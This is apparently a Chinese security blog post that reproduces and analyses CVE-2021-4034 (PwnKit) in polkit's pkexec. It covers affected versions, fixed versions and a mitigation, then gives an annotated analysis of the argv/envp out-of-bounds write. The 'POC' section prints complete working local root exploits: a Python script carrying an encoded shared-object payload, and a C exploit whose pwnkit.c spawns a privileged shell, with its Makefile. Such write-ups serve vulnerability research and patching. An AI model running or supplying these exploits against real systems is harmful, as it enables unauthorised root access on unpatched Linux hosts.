Linux Polkit权限提升漏洞复现&分析(CVE-2021-4034)

Linux Polkit权限提升漏洞(CVE-2021-4034)

文章目录

    • Linux Polkit权限提升漏洞(CVE-2021-4034)
      • 一、什么是Polkit
        • 用法:
        • Description:
        • Return:
      • 二、Polkit权限提升漏洞
        • 漏洞状态:
        • 复现截图:
        • 漏洞描述:
        • 漏洞等级:
        • 影响范围:
        • 修复建议:
        • 安全版本:
      • 三、POC
      • 四、漏洞分析
      • 五、漏洞利用
      • 六、附录

Linux Polkit权限提升漏洞复现&分析(CVE-2021-4034)_第1张图片

一、什么是Polkit

Polkit是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。
pkexec是一个Linux下Polkit里的setuid工具,允许授权用户在预定的策略下以其他用户身份执行命令。

用法:
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]
Description:

pkexec允许授权用户以另一个用户身份执行程序。如果未指定用户名,则程序将以管理超级用户root身份执行。

Return:

成功执行完成后,返回值为程序的返回值。如果调用进程没有被授权或者无法通过认证获得授权或者发生错误,pkexec退出返回值127。

Linux Polkit权限提升漏洞复现&分析(CVE-2021-4034)_第2张图片

二、Polkit权限提升漏洞

漏洞状态:
细节是否公开 POC状态 EXP状态 在野利用
已公开 已公开 未知
复现截图:

Linux Polkit权限提升漏洞复现&分析(CVE-2021-4034)_第3张图片
Linux Polkit权限提升漏洞复现&分析(CVE-2021-4034)_第4张图片

漏洞描述:

pkexec是一个Linux下的setuid工具,允许授权用户在预定的策略下以其他用户身份执行命令。
由于当前版本的pkexec无法正确处理调用参数计数,并最终会尝试将环境变量作为命令执行。攻击者可以通过控制环境变量,从而诱导pkexec执行任意代码。利用成功后,可导致非特权用户获得管理员权限。

漏洞等级:

目前漏洞POC已被泄露,攻击者利用该漏洞可导致恶意用户权限提升等危害。

影响范围:

由于为系统预装工具,自2009年5月polkit中pkexec创建以来主流的Linux版本均受该漏洞影响。

修复建议:

临时缓解措施:可删除pkexec的SUID-bit权限来缓解该漏洞风险,执行命令如下:

chmod 0755 /usr/bin/pkexec
安全版本:

CentOS系列:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1(腾讯云默认不受影响)
CentOS 8.2:polkit-0.115-11.el8_2.2(腾讯云默认不受影响)
CentOS 8.4:polkit-0.115-11.el8_4.2(腾讯云默认不受影响)

Ubuntu系列:
Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1

目前各Linux发行版官方均已给出安全补丁,建议用户尽快升级至安全版本,或参照官方说明措施进行缓解,CentOS、Ubuntu及Debian用户可参考以下链接:
https://ubuntu.com/security/CVE-2021-4034
https://access.redhat.com/security/cve/CVE-2021-4034
https://security-tracker.debian.org/tracker/CVE-2021-4034

三、POC

python:

#!/usr/bin/env python3

# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile

payload = zlib.decompress(
    base64.b64decode(
     """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"""
    )
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t

wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
    "module  UTF-8//    INTERNAL    ../pwn    2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
    b"gconv",
    b"PATH=GCONV_PATH=.",
    b"LC_MESSAGES=en_US.UTF-8",
    b"XAUTHORITY=../gconv",
    b"",
]

cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)

C:

//cve-2021-4034.c
#include 

int main(int argc, char **argv)
{
	char * const args[] = {
		NULL
	};
	char * const environ[] = {
		"pwnkit.so:.",
		"PATH=GCONV_PATH=.",
		"SHELL=/lol/i/do/not/exists",
		"CHARSET=PWNKIT",
		NULL
	};
	return execve("/usr/bin/pkexec", args, environ);
}
//pwnkit.c
#include 
#include 
#include 

void gconv(void) {
}

void gconv_init(void *step)
{
	char * const args[] = { "/bin/sh", "-pi", NULL };
	char * const environ[] = { "PATH=/bin:/usr/bin", NULL };
	execve(args[0], args, environ);
	exit(0);
}
//Makefile
CFLAGS=-Wall
TRUE=$(shell which true)

.PHONY: all
all: pwnkit.so cve-2021-4034 gconv-modules gconvpath

.PHONY: clean
clean:
	rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./

gconv-modules:
	echo "module UTF-8// PWNKIT// pwnkit 1" > $@

.PHONY: gconvpath
gconvpath:
	mkdir -p GCONV_PATH=.
	cp $(TRUE) GCONV_PATH=./pwnkit.so:.

pwnkit.so: pwnkit.c
	$(CC) $(CFLAGS) --shared -fPIC -o $@ $<

四、漏洞分析

pkexec的main()函数的开头处理命令行参数(第534-568行),如果参数中其路径不是绝对路径,会在PATH环境变量的目录中搜索要执行的程序(第610-640行)。

如果命令行参数argc的数量为0(如果我们传递给execve()的参数列表argv为空,即{NULL}),然后argv[0]为NULL(参数列表的终止符),读取要执行的程序的路径时argv[1]越界即envp[0],并指向“value”。

因为“value”不是以斜线开头,则“value”被传递给g_find_program_in_path()在环境变量中搜索名为“value”的可执行文件,若查询到则返回其完整路径。

然后完整路径被越界写入argv[1]即envp[0],从而覆盖第一个环境变量。

 435 main (int argc, char *argv[])
 436 {
 ...
 534   for (n = 1; n < (guint) argc; n++)//循环遍历用户输入参数:循环遍历的起点是1,没有考虑用户没有输入任何参数的情况
 535     {
 ...
 568     }
 ...
 610   path = g_strdup (argv[n]);//读取要执行的程序的路径:argv[1]越界(即envp[0]),并指向“value”
 ...
 629   if (path[0] != '/')//因为“value”不是以斜线开头,进入分支进行查找命令的绝对路径
 630     {
 ...
 632       s = g_find_program_in_path (path);//查找命令的绝对路径:“value”传递给g_find_program_in_path()在环境变量中查找,若找到这样的可执行文件,则返回其完整路径
 ...
 639       argv[n] = path = s;//把获取到的绝对地址路径被越界写入argv[1]即envp[0],从而覆盖我们的第一个环境变量
 640     }

如果我们的PATH环境变量是“PATH=name”,并且如果目录“name”存在(在当前工作目录中)并包含一个名为“value”的可执行文件,然后是指向字符串的指针“name=./value”越界写入envp[0];

或者,如果我们的PATH是“PATH=name=.”,并且目录是“name=.”存在并包含一个名为“value”的可执行文件,然后一个指向字符串“name=./value”被越界写入envp[0]。

换句话说,这种越界写入允许我们重新引入一个可以将“unsecure”不安全环境变量(例如LD_PRELOAD)放入pkexec的
环境,这些“unsecure”变量通常在调用main()函数之前从SUID程序的环境中删除(通过ld.so)。

当我们execve()一个新的程序,内核复制我们的参数和环境字符串和指向新程序堆栈末尾的指针(argv和envp)
例子:
Linux Polkit权限提升漏洞复现&分析(CVE-2021-4034)_第5张图片

因为argv和envp指针在内存中是连续的,如果argc为0,则越界argv[1]实际上是envp[0],即指向我们的第一个环境变量“value”的指针。

五、漏洞利用

为了防止低权限用户通过环境变量让suid程序加载不可信的so,造成的恶意代码执行进而提权的情况。当检测到程序是特权文件(suid)的时候,会清空这些环境变量,绝大部分是LD_系列的环境变量,他们都有能指定动态库加载路径的能力。

在该漏洞场景下,根据上面分析我们拥有一次写入任意环境变量的机会,利用思路就是尝试从那些本来没法传入suid程序中的环境变量中进行操作。

通过POC利用关键环境变量是GCONV_PATH,这里GCONV_PATH环境变量也有相当于LD_LIBRARY_PATH的功能,他可以指定 iconv_open() 函数搜索so库的文件。我们如果可以伪造GCONV_PATH然后进一步伪造gconv-modules和一个so就可以完成任意so加载以及任意代码执行。

设置参数"pwnkit.so:.",伪造环境变量"PATH=GCONV_PATH=."。

#include 
iconv_t iconv_open(const char *tocode, const char *fromcode);

iconv_open()函数返回一个转换描述符,该描述符描述了从fromcode参数指向的字符串指定的代码集到tocode参数指向的字符串指定的代码集的转换。如果使用文件描述符来实现转换描述符,则将设置FD_CLOEXEC标志;参见

iconv_open()函数首先会找到系统提供的conv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中。然后再根据gconv-modules文件的指示去链接参数对应的.so文件执行具体操作。

六、附录

参考链接:
https://page.om.qq.com/page/ODs2voZbOi5ZNFXDzrh6Q7NQ0
https://access.redhat.com/security/cve/CVE-2021-4034
https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
https://wiki.archlinux.org/title/Polkit_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)
https://mp.weixin.qq.com/s/YY93XZZMoXVuy9F0sWa1Tg
https://blog.csdn.net/Breeze_CAT/article/details/122707460
https://pubs.opengroup.org/onlinepubs/007908799/xsh/iconv_open.html

你可能感兴趣的:(安全,linux,安全,安全漏洞)